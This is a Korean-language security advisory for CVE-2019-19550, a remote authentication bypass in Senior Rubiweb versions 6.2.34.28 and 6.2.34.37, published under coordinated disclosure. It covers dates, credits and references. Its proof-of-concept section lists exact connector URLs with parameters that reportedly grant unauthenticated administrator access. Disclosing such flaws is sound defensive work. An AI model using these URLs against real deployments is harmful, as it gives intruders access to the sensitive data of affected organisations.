CVE-2019-19550

---

[설명]

Senior Rubiweb 6.2.34.28 및 6.2.34.37의 원격 인증 우회(Remote Authentication Bypass)로 인해 취약한 버전을 사용하는 영향받는 사용자의 중요한 정보에 대한 관리자 접근이 허용됩니다. 공격자는 올바른 URL만 제공하면 됩니다.

---

[중요 날짜]

• 공지(공급업체에): 2019-12-02
• 공개 공시 날짜: 2020-01-30

---

[취약점 유형]

잘못된 접근 제어

---

[제품 공급업체]

Senior

---

[영향받는 제품 코드 베이스]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• 다른 버전도 영향을 받을 수 있으며, 특히 동일 제품군에서 영향을 받을 수 있습니다(아직 테스트되지 않음).

---

[영향받는 구성 요소]

Rubiweb

---

[공격 유형]

원격

---

[영향 정보 공개]

예

---

[공격 벡터]

민감한 정보에 대한 접근은 특별한 요구 사항 없이 공개적으로 가능합니다(올바른 URI만 필요함).

---

[공급업체가 취약점을 확인하거나 인정했습니까?]

예

---

[PoC - 개념 증명]

1. 영향받는 제품의 존재와 버전을 확인하려면 인증된 포털에 연결을 시도하세요:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. 취약한 페이지에 접근하세요(인증 없는 관리자):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[발견자]

Mauricio Santos (R&D UnderProtection) 및 Hesron Hori (R&D UnderProtection) 및 @redteambrasil

---

[감사 인사]

Senior - 공동 공개에 협력한 공급업체의 정보 보안 팀

---

[참조]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName